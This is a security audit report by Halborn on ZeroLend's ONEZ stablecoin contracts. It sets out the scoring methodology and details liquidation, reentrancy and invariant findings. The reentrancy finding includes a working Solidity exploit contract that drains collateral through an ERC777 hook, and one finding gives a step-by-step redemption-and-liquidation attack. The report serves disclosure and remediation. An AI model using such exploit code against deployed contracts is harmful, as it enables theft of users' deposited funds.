



ZeroLend - ONEZ Token

Smart Contract Security Assessment

Prepared by: Halborn

Date of Engagement: January 2nd, 2024 - January 22nd, 2024

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DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE
0.1	Document Creation	01/02/2024
0.2	Document Updates	01/21/2024
0.3	Draft Review	01/22/2024
0.4	Draft Review	01/24/2024

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EXECUTIVE OVERVIEW

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1.1 INTRODUCTION

ZeroLend is a lending protocol with a native stable-coin called ONEZ Token built on zkSync.

ZeroLend engaged Halborn to conduct a security assessment on their smart contracts beginning on January 2nd, 2024 and ending on January 22nd, 2024. The security assessment was scoped to the smart contracts provided in the following GitHub repositories:

- [zerolend/prisma-fork](#).

1.2 ASSESSMENT SUMMARY

The team at Halborn was provided 3 weeks for the engagement and assigned a full-time security engineer to verify the security of the smart contracts. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

In summary, Halborn identified some security risks that should be addressed by the **ZeroLend** team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard

to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions. ([solgraph](#))
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Static Analysis of security for scoped contract, and imported functions. ([Slither](#))
- Testnet deployment. ([Foundry](#))

2. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets of Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

2.1 EXPLOITABILITY

Attack Origin (AO):

Captures whether the attack requires compromising a specific account.

Attack Cost (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

Attack Complexity (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

Metrics:

Exploitability Metric (m_E)	Metric Value	Numerical Value
Attack Origin (AO)	Arbitrary (AO:A)	1
	Specific (AO:S)	0.2
Attack Cost (AC)	Low (AC:L)	1
	Medium (AC:M)	0.67
	High (AC:H)	0.33
Attack Complexity (AX)	Low (AX:L)	1
	Medium (AX:M)	0.67
	High (AX:H)	0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

2.2 IMPACT

Confidentiality (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

Integrity (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

Availability (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

Deposit (D):

Measures the impact to the deposits made to the contract by either users or owners.

Yield (Y):

Measures the impact to the yield generated by the contract for either users or owners.

EXECUTIVE OVERVIEW

Metrics:

Impact Metric (m_I)	Metric Value	Numerical Value
Confidentiality (C)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Integrity (I)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Availability (A)	None (A:N)	0
	Low (A:L)	0.25
	Medium (A:M)	0.5
	High (A:H)	0.75
	Critical	1
Deposit (D)	None (D:N)	0
	Low (D:L)	0.25
	Medium (D:M)	0.5
	High (D:H)	0.75
	Critical (D:C)	1
Yield (Y)	None (Y:N)	0
	Low (Y:L)	0.25
	Medium (Y:M)	0.5
	High (Y:H)	0.75
	Critical (Y:H)	1

Impact I is calculated using the following formula:

$$I = \max(m_I) + \frac{\sum m_I - \max(m_I)}{4}$$

2.3 SEVERITY COEFFICIENT

Reversibility (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

Scope (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

Coefficient (C)	Coefficient Value	Numerical Value
Reversibility (r)	None (R:N)	1
	Partial (R:P)	0.5
	Full (R:F)	0.25
Scope (s)	Changed (S:C)	1.25
	Unchanged (S:U)	1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = \min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

Severity	Score Value Range
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

2.4 SCOPE

1. IN-SCOPE TREE & COMMIT :

The security assessment was scoped to the following smart contracts on the `fork` branch:

- `BorrowerOperations.sol`
- `DebtTokenOnezProxy.sol`
- `Factory.sol`
- `FeeReceiver.sol`
- `GasPool.sol`
- `LiquidationManager.sol`
- `MultiCollateralHintHelpers.sol`
- `MultiTroveGetter.sol`
- `ONEZ.sol`
- `PrismaCore.sol`
- `SortedTroves.sol`
- `StabilityPool.sol`
- `TroveManager.sol`
- `PrismaToken.sol`
- `TokenLocker.sol`
- `IncentiveVoting.sol`
- `PrismaVault.sol`
- `TroveManagerGetters.sol`
- `WrappedLendingCollateral.sol`
- `ERC20Delegate.sol`
- `WETHDelegate.sol`
- `PriceFeed.sol`

Commit ID: [1848bfafcf7989255fb5321d02c5421c0ddcce6](#)

3. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
3	1	2	6	1

EXECUTIVE OVERVIEW

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
(HAL-01) USER CAN AVOID LIQUIDATIONS BY OPENING THE FIRST TROVE AND BORROWING UP TO THE COLLATERAL DEBT LIMIT	Critical (10)	-
(HAL-02) REENTRANCY IN UPDATETROVEFROMADJUSTMENT CAN BE EXPLOITED TO DRAIN THE TROVEMANAGER CONTRACT	Critical (10)	-
(HAL-03) BROKEN PROTOCOL INVARIANT: TOTAL COLLATERAL RATIO DECREASES AFTER CERTAIN EDGE CASE REDEMPTIONS	Critical (10)	-
(HAL-04) BROKEN PROTOCOL INVARIANT: TROVES ARE NOT CORRECTLY SORTED BASED ON THEIR NICR UNDER SOME EDGE CONDITIONS	High (7.5)	-
(HAL-05) PROTOCOL IS HIGHLY UNSTABLE UNDER SOME CONDITIONS	Medium (5.0)	-
(HAL-06) CHAINLINK PRICEFEED.GETROUNDDATA(LASTROUNDID - 1) COULD RETURN A FALSE OR BROKEN ANSWER, TRIGGERING THE PRIMARY ORACLE BROKEN PATH	Medium (5.0)	-
(HAL-07) INCOMPATIBILITY WITH NON-STANDARD ERC20 TOKENS	Low (2.5)	-
(HAL-08) TOKENS WITH NON-18 DECIMALS ARE NOT SUPPORTED	Low (2.5)	-
(HAL-09) LIQUIDATIONS ROUND IN FAVOR OF TROVES, AGAINST THE STABILITY POOL	Low (2.5)	-
(HAL-10) DANGEROUS INT256 CASTING TO UINT256	Low (2.5)	-
(HAL-11) USE THE PROXY PATTERN AT THE EARLY STAGE OF THE PROTOCOL	Low (2.5)	-
(HAL-12) COLLATERALGAINSBYDEPOSITOR ARE LIMITED TO TYPE(UINT80).MAX	Low (2.5)	-

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FINDINGS & TECH DETAILS

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4.1 (HAL-01) USER CAN AVOID LIQUIDATIONS BY OPENING THE FIRST TROVE AND BORROWING UP TO THE COLLATERAL DEBT LIMIT - CRITICAL(10)

Commit IDs affected:

- 1848bfafcf7989255bfb5321d02c5421c0ddcce6

Description:

The `LiquidationManager` contract implements the functions `liquidateTroves()` and `batchLiquidateTroves()`:

```
Listing      1:           LiquidationManager.sol      (Lines
169,198,199,200,201,202,250,251,252,253)
134 /**
135      @notice Liquidate a sequence of troves
136      @dev Iterates through troves starting with the lowest ICR
137      @param maxTrovesToLiquidate The maximum number of troves to
138      liquidate
139      @param maxICR Maximum ICR to liquidate. Should be set to MCR
140      if the system
141      is not in recovery mode, to minimize gas costs
142      for this call.
143 */
144 function liquidateTroves(
145     ITroveManager troveManager,
146     uint256 maxTrovesToLiquidate,
147     uint256 maxICR
148 ) external {
149     require(
150         _enabledTroveManagers[troveManager],
151         "TroveManager not approved"
152     );
153     IStabilityPool stabilityPoolCached = stabilityPool;
154     troveManager.updateBalances();
```

```
153
154     ISortedTroves sortedTrovesCached = ISortedTroves(
155         troveManager.sortedTroves()
156     );
157
158     LiquidationValues memory singleLiquidation;
159     LiquidationTotals memory totals;
160     TroveManagerValues memory troveManagerValues;
161
162     uint256 trovesRemaining = maxTrovesToLiquideate;
163     uint256 troveCount = troveManager.getTroveOwnersCount();
164     troveManagerValues.price = troveManager.fetchPrice();
165     troveManagerValues.sunsetting = troveManager.sunsetting();
166     troveManagerValues.MCR = troveManager.MCR();
167     uint debtInStabPool = stabilityPoolCached.
168         ↳ getTotalDebtTokenDeposits();
169
170     while (trovesRemaining > 0 && troveCount > 1) {
171         address account = sortedTrovesCached.getLast();
172         uint ICR = troveManager.getCurrentICR(
173             account,
174             troveManagerValues.price
175         );
176         if (ICR > maxICR) {
177             // set to 0 to ensure the next if block evaluates
178             ↳ false
179             trovesRemaining = 0;
180             break;
181         }
182         if (ICR <= _100pct) {
183             singleLiquidation = _liquidateWithoutSP(troveManager,
184                 ↳ account);
185             _applyLiquidationValuesToTotals(totals,
186                 ↳ singleLiquidation);
187         } else if (ICR < troveManagerValues.MCR) {
188             singleLiquidation = _liquidateNormalMode(
189                 troveManager,
190                 account,
191                 debtInStabPool,
192                 troveManagerValues.sunsetting
193             );
194             debtInStabPool -= singleLiquidation.debtToOffset;
195             _applyLiquidationValuesToTotals(totals,
196                 ↳ singleLiquidation);
```

```

192         } else break; // break if the loop reaches a Trove with
193         ↳ ICR >= MCR
194             unchecked {
195                 --trovesRemaining;
196                 --troveCount;
197             }
198         if (
199             trovesRemaining > 0 &&
200             !troveManagerValues.sunsetting &&
201             troveCount > 1
202         ) {
203             (uint entireSystemColl, uint entireSystemDebt) =
204             ↳ borrowerOperations
205                 .getGlobalSystemBalances();
206             entireSystemColl -=
207                 totals.totalCollToSendToSP *
208                 troveManagerValues.price;
209             entireSystemDebt -= totals.totalDebtToSendToOffset;
210             address nextAccount = sortedTrovesCached.getLast();
211             ITroveManager _troveManager = troveManager; //stack too
212             ↳ deep workaround
213                 while (trovesRemaining > 0 && troveCount > 1) {
214                     uint ICR = troveManager.getCurrentICR(
215                         nextAccount,
216                         troveManagerValues.price
217                     );
218                     if (ICR > maxICR) break;
219                     unchecked {
220                         --trovesRemaining;
221                     }
222                     address account = nextAccount;
223                     nextAccount = sortedTrovesCached.getPrev(account);
224
225                     uint256 TCR = PrismaMath._computeCR(
226                         entireSystemColl,
227                         entireSystemDebt
228                     );
229                     if (TCR >= CCR || ICR >= TCR) break;
230
231                     singleLiquidation = _tryLiquidateWithCap(
232                         _troveManager,
233                         account,
234                         debtInStabPool,

```

```
233             troveManagerValues.MCR ,
234             troveManagerValues.price
235         );
236         if (singleLiquidation.debtToOffset == 0) continue;
237         debtInStabPool -= singleLiquidation.debtToOffset;
238         entireSystemColl -=
239             (singleLiquidation.collToSendToSP +
240              singleLiquidation.collSurplus) *
241              troveManagerValues.price;
242         entireSystemDebt -= singleLiquidation.debtToOffset;
243         _applyLiquidationValuesToTotals(totals,
244             singleLiquidation);
245         unchecked {
246             --troveCount;
247         }
248     }
249
250     require(
251         totals.totalDebtInSequence > 0,
252         "TroveManager: nothing to liquidate"
253     );
254     if (totals.totalDebtToOffset > 0 || totals.totalCollToSendToSP
255         > 0) {
256         // Move liquidated collateral and Debt to the appropriate
257         pools
258         stabilityPoolCached.offset(
259             troveManager.collateralToken(),
260             totals.totalDebtToOffset,
261             totals.totalCollToSendToSP
262         );
263         troveManager.decreaseDebtAndSendCollateral(
264             address(stabilityPoolCached),
265             totals.totalDebtToOffset,
266             totals.totalCollToSendToSP
267         );
268         troveManager.finalizeLiquidation(
269             msg.sender,
270             totals.totalDebtToRedistribute,
271             totals.totalCollToRedistribute,
272             totals.totalCollSurplus,
273             totals.totalDebtGasCompensation,
274             totals.totalCollGasCompensation
```

However, due to the `&& troveCount > 1` the liquidations do not work correctly when there is a single trove opened. Consequently, a user would be able to avoid being liquidated by:

1. Opening a trove and borrowing ONEZ tokens up to the Collateral debt limit.
 2. Any calls to the `LiquidationManager.liquidate()` function to liquidate this trove would revert with the `TroveManager: nothing to liquidate` error.

Proof of Concept:

In the test below, the `maxDebt` allowed per collateral is `10.000.000`.

BVSS:

A0:A/AC:M/AX:L/C:N/I:C/A:N/D:C/Y:C/R:N/S:U (10)

Recommendation:

It is recommended to update the `openTrove()` function logic so it is not possible to open any trove that borrows the collateral debt limit. Instead, the function should enforce that the maximum amount that can be borrowed is `Collateral debt limit - minNetDebt - gasCompensation`.

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4.2 (HAL-02) REENTRANCY IN UPDATETROVEFROMADJUSTMENT CAN BE EXPLOITED TO DRAIN THE TROVEMANAGER CONTRACT - CRITICAL(10)

Commit IDs affected:

- 1848bfafcf7989255bfb5321d02c5421c0ddcce6

Description:

Across the whole code-base, the `nonReentrant` modifier is never used. Moreover, the check-effects-interactions pattern is not always respected in the code. Consequently, the function `TroveManager.updateTroveFromAdjustment()` is susceptible to a reentrancy exploitation:

Listing 2: TroveManager.sol (Lines 1284,1291)

```
1241 function updateTroveFromAdjustment(
1242     bool _isRecoveryMode,
1243     bool _isDebtIncrease,
1244     uint256 _debtChange,
1245     uint256 _netDebtChange,
1246     bool _isCollIncrease,
1247     uint256 _collChange,
1248     address _upperHint,
1249     address _lowerHint,
1250     address _borrower,
1251     address _receiver
1252 ) external returns (uint256, uint256, uint256) {
1253     _requireCallerIsB0();
1254     if (_isCollIncrease || _isDebtIncrease) {
1255         require(!paused, "Collateral Paused");
1256         require(!sunsetting, "Cannot increase while sunsetting");
1257     }
1258
1259     Trove storage t = Troves[_borrower];
1260     require(t.status == Status.active, "Trove closed or does not
1261     exist");
```

```
1261
1262     uint256 newDebt = t.debt;
1263     if (_debtChange > 0) {
1264         if (_isDebtIncrease) {
1265             newDebt = newDebt + _netDebtChange;
1266             if (!_isRecoveryMode)
1267                 _updateMintVolume(_borrower, _netDebtChange);
1268             _increaseDebt(_receiver, _netDebtChange, _debtChange);
1269         } else {
1270             newDebt = newDebt - _netDebtChange;
1271             _decreaseDebt(_receiver, _debtChange);
1272         }
1273         t.debt = newDebt;
1274     }
1275
1276     uint256 newColl = t.coll;
1277     if (_collChange > 0) {
1278         if (_isCollIncrease) {
1279             newColl = newColl + _collChange;
1280             totalActiveCollateral = totalActiveCollateral +
1281             ↳ _collChange;
1282             // trust that BorrowerOperations sent the collateral
1283         } else {
1284             newColl = newColl - _collChange;
1285             _sendCollateral(_receiver, _collChange);
1286         }
1287         t.coll = newColl;
1288     }
1289
1290     uint256 newNICR = PrismaMath._computeNominalCR(newColl,
1291             ↳ newDebt);
1292     sortedTrove.reInsert(_borrower, newNICR, _upperHint,
1293             ↳ _lowerHint);
1294     uint256 newStake = _updateStakeAndTotalStakes(t);
1295     emit TroveUpdated(
1296         _borrower,
1297         newDebt,
1298         newColl,
1299         newStake,
1300         TroveManagerOperation.adjust
1301     );
1302
1303     return (newColl, newDebt, newStake);
1304 }
```

In this case, if the token used as collateral is an `ERC777` token or a token with any type of on-transfer hooks, the contract could be drained through reentrancy as the `_updateStakeAndTotalStakes()` function that updates the different state variables is called after the external call: `_sendCollateral(_receiver, _collChange);`

Proof of Concept:

In the proof of concept below, the `Flux token` was used as collateral. This token is an `ERC777` token.

Moreover, the following contract was implemented in order to test/exploit the reentrancy:

Listing 3: ReentrancyCaller.sol (Line 73)

```
1 // SPDX-License-Identifier: UNLICENSED
2 pragma solidity ^0.8.0;
3
4 import {IBorrowerOperations} from "@source/interfaces/
↳ IBorrowerOperations.sol";
5 import {IFactory} from "@source/interfaces/IFactory.sol";
6 // Dependencies
7 import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.
↳ sol";
8 import {IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/
↳ extensions/IERC20Metadata.sol";
9 import {IERC721} from "@openzeppelin/contracts/token/ERC721/
↳ IERC721.sol";
10 import {IAggregatorV3} from "../interfaces/IAggregatorV3.sol";
11 import {IERC1820Registry} from "../interfaces/IERC1820Registry.sol
↳ ";
12 import {ITroveManager} from "@source/interfaces/ITroveManager.sol"
↳ ;
13 import "@openzeppelin/contracts/utils/Strings.sol";
14
15 contract ReentrancyCaller {
16
17     using Strings for *;
18
19     // Core contracts
20     IBorrowerOperations public contract_BorrowerOperations;
```

```
21     IFactory public contract_Factory;
22     IERC20 public contract_FLUX = IERC20(0
↳ x469eDA64aEd3A3Ad6f868c44564291aA415cB1d9);
23     IAggregatorV3 public contract_PriceFeed_FLUX = IAggregatorV3(0
↳ xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9); // DAI Price feed as a
↳ mock
24
25     // Needed constants to accept ERC777 tokens in deposit
26     IERC1820Registry constant private _erc1820 = // See EIP1820
27         IERC1820Registry(0
↳ x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
28     bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = // //
↳ See EIP777
29         keccak256("ERC777TokensRecipient");
30     uint256 public totalWithdrawn;
31
32     event debugTrace(string a, uint256 b);
33
34     constructor (IBorrowerOperations _bo, IFactory _fa){
35         // Register as a token receiver
36         _erc1820.setInterfaceImplementer(
37             address(this),
38             TOKENS_RECIPIENT_INTERFACE_HASH,
39             address(this)
40         );
41         contract_BorrowerOperations = _bo;
42         contract_Factory = _fa;
43         contract_FLUX.approve(address(contract_BorrowerOperations)
↳ , type(uint256).max);
44     }
45
46     function openTrove() public {
47         contract_BorrowerOperations.openTrove(
48             address(ITroveManager(contract_Factory.troveManagers
↳ (3))),
49             address(this),
50             1e18,
51             10000e18,
52             300e18,
53             address(0),
54             address(0)
55         );
56     }
57 }
```

```

58     function withdrawColl() public {
59         contract_BorrowerOperations.withdrawColl(address(
60             ITroveManager(contract_Factory.troveManagers(3))), address(this),
61             2000e18, address(0), address(0));
62     }
63
64     function tokensReceived(
65         address operator,
66         address from,
67         address to,
68         uint amount,
69         bytes memory userData,
70         bytes memory operatorData
71     ) public {
72         while(totalWithdrawn < 20000e18) {
73             totalWithdrawn = totalWithdrawn + 2000e18;
74             emit debugTrace("totalWithdrawn", totalWithdrawn);
75             contract_BorrowerOperations.withdrawColl(address(
76                 ITroveManager(contract_Factory.troveManagers(3))), address(this),
77                 2000e18, address(0), address(0));
78         }
79     }
80 }
```

- In this test `user1` (victim) opens a trove with `100000` Flux tokens as collateral.
- The `user2` (attacker), through the `ReentrancyCaller` contract, opens a trove with `10000` Flux tokens as collateral and then exploits the reentrancy, by calling `BorrowerOperations.withdrawColl()` which internally calls the `TroveManager._updateStakeAndTotalStakes()` function:

Listing 4: ReentrancyCaller.sol (Line 73)

```

62 function tokensReceived(
63     address operator,
64     address from,
65     address to,
66     uint amount,
67     bytes memory userData,
68     bytes memory operatorData
```

```

69 ) public {
70     while(totalWithdrawn < 20000e18) {
71         totalWithdrawn = totalWithdrawn + 2000e18;
72         emit debugTrace("totalWithdrawn", totalWithdrawn);
73         contract_BorrowerOperations.withdrawColl(address(
74             ITroveManager(contract_Factory.troveManagers(3))), address(this),
75             2000e18, address(0), address(0));
76     }
77 }
```

```

USER1(0xEb3367318C5ella6eCD3Cd00850eC06A02E9b90) CALLS < contract_FLUX.approve(address(contract_BorrowerOperations), 10000e18) >
USER1(0xEb3367318C5ella6eCD3Cd00850eC06A02E9b90) CALLS < contract_BorrowerOperations.openTrove(ITroveManager(contract_Factory.troveManagers(3)), user1, 1e18, 10000e18, 1000e18, address(0), address(0)) >
contract_FLUX.balanceOf(contract_ReentrancyCaller) -> 10000000000000000000000000000000
USER2(0x88C0e991b1d1fd1a77BdA342f0d2210f0C71cef68) CALLS < contract_ReentrancyCaller.openTrove() >
contract_FLUX.balanceOf(contract_ReentrancyCaller) -> 0
USER2(0x88C0e991b1d1fd1a77BdA342f0d2210f0C71cef68) CALLS < contract_ReentrancyCaller.withdrawColl() >
contract_FLUX.balanceOf(contract_ReentrancyCaller) -> 22000000000000000000000000000000
```

Notice in the image above how the `ReentrancyCaller` contract has now 22,000 Flux tokens while its initial deposit was of 10000 only. This is because the restriction that was added in the `tokensReceived()` hook: `while(totalWithdrawn < 20000e18)`. Although, it would be possible to drain the contract further as long as the `TCR >= CCR` invariant is respected.

BVSS:

A0:A/AC:L/AX:L/C:N/I:C/A:N/D:C/Y:N/R:N/S:U (10)

Recommendation:

It is recommended to update the `TroveManager._updateStakeAndTotalStakes()` function so it follows the check-effects-interactions pattern. This can be achieved by calling `_sendCollateral(_receiver, _collChange);` as the last step in the function.

4.3 (HAL-03) BROKEN PROTOCOL INVARIANT: TOTAL COLLATERAL RATIO DECREASES AFTER CERTAIN EDGE CASE REDEMPTIONS - CRITICAL(10)

Commit IDs affected:

- 1848bfafcf7989255bfb5321d02c5421c0ddcce6

Description:

As per the ZeroLend and Prisma Finance documentation:

Redemptions effect on vaults

If a vault is redeemed against, it does not suffer a net loss. However, its collateral exposure will decrease. The vault's collateral ratio will also improve after a redemption.

Although, after an extensive fuzzing session, it was determined that under some specific conditions, a redemption could actually decrease the total collateral ratio of the protocol.

What could trigger this issue?

1. A big discrepancy between the `totalActiveDebt` state variable and the sum of all the debts of the users in the Troves.
2. A big redemption that liquidates multiple users.

How can the first point be achieved? By liquidating Troves with an ICR lower than 100% (bad debt) as this bad debt would be absorbed by all the active Troves.

Consequently, under this scenario, a malicious user could:

1. Purchase on any external market a big amount of ONEZ tokens.
2. Execute a very high redemption to decrease the total collateral ratio to a value lower than 150%. The lower that this value is the

more Troves he will be able to liquidate before reaching back the 150% TCR.

3. As the protocol would be in Recovery Mode with a TCR lower than 150%, this user could liquidate all the Troves below a 150% ICR getting massive profits from it.
4. Points 2 and 3 could be done atomically within a smart contract to prevent being front-run.

Proof of Concept:

1. A single USDT trove is opened: `_openTrove(user1, address(contract_USDT), 154000e6, 100000e18);`
2. 50 WETH troves are opened as: `_openTrove(_user, address(contract_WETH), 115e15, 200e18);`
3. Price of WETH drops by 25%.
4. `totalActiveDebt state variable = 1055000000000000000000000000000000`
`totalActiveDebtWETHSum = 10556069903158295281550`
5. 25 of the 50 users are liquidated by the user1.
6. After the liquidation, notice the big discrepancy between the `totalActiveDebt` state variable and the sum of all the debts of the users in the Troves:
`totalActiveDebt state variable = 5278034951579147640807`
`totalActiveDebtWETHSum = 10556069903158295281525`
7. 50 new WETH troves are opened: `_openTrove(_user, address(contract_WETH), 10e18, 800e18);`
8. Current TCR is `6.663774344982328516`.
9. 2000 ONEZ tokens are redeemed.
10. TCR is now `6.524613677268518895`

```
contract_BorrowerOperations.getTCR() -> 6663774344982328516
contract_ONEZ.balanceOf(user1) -> 225000000000000000000000
contract_WETH.balanceOf(user1) -> 0
USER1(0x7231C364597f3Bfd872Cf52b197c59111e71794) CALLS < ITroveManager(contract_Factory.troveManagers(0)).redeemCollateral(2000e18, firstRedemptionHint, address(0), address(0), partialRedemptionHintN
ICR, 0, 1e18) >
contract_BorrowerOperations.getTCR() -> 6524613677268518895
```

Debug with the State Fuzzer:

In order to see this issue being triggered with the full call trace in the `state fuzzer`, run the following command:

Listing 5

```
1 export FUZZ_ENTROPY=$(echo -n 16371);forge test -vvvv --match-
↳ contract Fuzzer --match-test test_all_properties
```

BVSS:

A0:A/AC:L/AX:L/C:N/I:C/A:N/D:H/Y:N/R:N/S:U (10)

Recommendation:

It is recommended to add a check in the `redeemCollateral()` function that enforces that the TCR is never decreased after a redemption.

4.4 (HAL-04) BROKEN PROTOCOL INARIANT: TROVES ARE NOT CORRECTLY SORTED BASED ON THEIR NICR UNDER SOME EDGE CONDITIONS - HIGH (7.5)

Commit IDs affected:

- 1848bfafcf7989255bfb5321d02c5421c0ddcce6

Description:

The ZeroLend protocol implements the `SortedTrove` contract which is a sorted double linked list with nodes sorted in descending order. Nodes map to active troves in the system – the `ID` property is the address of a Trove owner. Nodes are ordered according to their current NICR.

After executing an extensive fuzzing session, it was found that it is possible that this linked list is not properly sorted. This issue can occur if there are 2 nodes/users with very similar NICRs and collateral is withdrawn by another user.

For example by looking at the logs of the fuzz run that triggered this invariant:

1. NICRs before calling `withdrawColl()`:

Listing 6: (Lines 5,6)

```
1 WETHSortedTrove;User(0xfcdb1e39c4982ee65e9f502486503eabe8a2df89);
↳ NICR(2292756480044893330)
2 WETHSortedTrove;User(0x51008f0f21a469959507892f211e16b46fd8ec34);
↳ NICR(695953560745480721)
3 WETHSortedTrove;User(0x76f3da1cf85dd2c12e7213e8c5ec08c94502e117);
↳ NICR(636178321901083631)
4 WETHSortedTrove;User(0x389b6cb8ecbf689c70703e7a9000ab11d83195bf);
↳ NICR(559008365136228750)
5 WETHSortedTrove;User(0x071150dbd19cf2b2dd3ed0b4e8fdb6a36a058c14);
```

```

↳ NICR(496569144987246351)
6 WETHSortedTrove;User(0x38e027174013111b8bd9df4c039c4156a27a5589);
↳ NICR(496548040604279332)
7 WETHSortedTrove;User(0x50bd489ffd92a7a8611ab09c34b9bc4a6ebd9f0);
↳ NICR(478530693732039772)
8 WETHSortedTrove;User(0xff90160010fe3d1ad4aa03a11b1f22fd72e125ff);
↳ NICR(294967644981357053)
9 WETHSortedTrove;User(0x57ddf93cac60eb6bd39c90cb79a381c5897dd54a);
↳ NICR(242827791760909684)
10 WETHSortedTrove;User(0xdea148eec9a1b1ff2177687baa1c4ed4cca2d7c6);
↳ NICR(239300265376194854)
11 WETHSortedTrove;User(0x12f522e5547d41771f20cd2c6d4cf0c9e434e8a4);
↳ NICR(228357128021198613)
12 WETHSortedTrove;User(0x742bcc1d96e1a9559b5054f75a9dedd190563f66);
↳ NICR(175256582538475095)
13 WETHSortedTrove;User(0xd75dfa5641637da0826003688dbe17c1f8d6f29d);
↳ NICR(146491052866053969)
14 WETHSortedTrove;User(0x181bb93c9f753e5bad427f27050c1b393a9e6a41);
↳ NICR(144064767978954037)
15 WETHSortedTrove;User(0xf8ec4477126b792162218356e8b113d76d988d25);
↳ NICR(126162311794982615)
16 WETHSortedTrove;User(0xb65c60441d8218dae86e0ad33f617742d9041b3f);
↳ NICR(121038139829349491)
17 WETHSortedTrove;User(0x4c47a4ddfec2201f680d62b27d9b75ab0b018366);
↳ NICR(86724472360383038)
18 WETHSortedTrove;User(0x3ddae45122d532c0d16b74090914632f782f3a0d);
↳ NICR(82969360712158918)
19 WETHSortedTrove;User(0x3da9ec92f2d6000cf3b794acb4d87aeb8ee88f0);
↳ NICR(64785364611455024)

```

2. `withdrawColl()` is called:

```

WithdrawColl;User(0xdea148eec9a1b1ff2177687baa1c4ed4cca2d7c6
);Index(0);AmountCollateral(286272762093747927402);TimeStamp
(1710151939)

```

3. NICRs afterwards:

Listing 7: (Lines 5,6)

```

1 WETHSortedTrove;User(0xfcdb1e39c4982ee65e9f502486503eabe8a2df89);
↳ NICR(2292495891100645886)
2 WETHSortedTrove;User(0x51008f0f21a469959507892f211e16b46fd8ec34);
↳ NICR(695874460411355240)

```

```

3 WETHSortedTrove;User(0x76f3da1cf85dd2c12e7213e8c5ec08c94502e117);
↳ NICR(636147575771527572)
4 WETHSortedTrove;User(0x389b6cb8ecbf689c70703e7a9000ab11d83195bf);
↳ NICR(558944829649157098)
5 WETHSortedTrove;User(0x071150dbd19cf2b2dd3ed0b4e8fdb6a36a058c14);
↳ NICR(496512706185147513)
6 WETHSortedTrove;User(0x38e027174013111b8bd9df4c039c4156a27a5589);
↳ NICR(496516922659871461)
7 WETHSortedTrove;User(0x50bd489ffd92a7a8611ab09c34b9bc4a6ebd9f0);
↳ NICR(478476305135014768)
8 WETHSortedTrove;User(0xff90160010fe3d1ad4aa03a11b1f22fd72e125ff);
↳ NICR(294943053875340084)
9 WETHSortedTrove;User(0x57ddf93cac60eb6bd39c90cb79a381c5897dd54a);
↳ NICR(242806247369249515)
10 WETHSortedTrove;User(0x12f522e5547d41771f20cd2c6d4cf0c9e434e8a4);
↳ NICR(228331173523448700)
11 WETHSortedTrove;User(0x742bcc1d96e1a9559b5054f75a9dedd190563f66);
↳ NICR(175236663315385506)
12 WETHSortedTrove;User(0xd75dfa5641637da0826003688dbe17c1f8d6f29d);
↳ NICR(146474403060834657)
13 WETHSortedTrove;User(0x181bb93c9f753e5bad427f27050c1b393a9e6a41);
↳ NICR(144050525091897042)
14 WETHSortedTrove;User(0xf8ec4477126b792162218356e8b113d76d988d25);
↳ NICR(126147972503426528)
15 WETHSortedTrove;User(0xb65c60441d8218dae86e0ad33f617742d9041b3f);
↳ NICR(121024382938311858)
16 WETHSortedTrove;User(0xdea148eec9a1b1ff2177687baa1c4ed4cca2d7c6);
↳ NICR(112421388421293538)
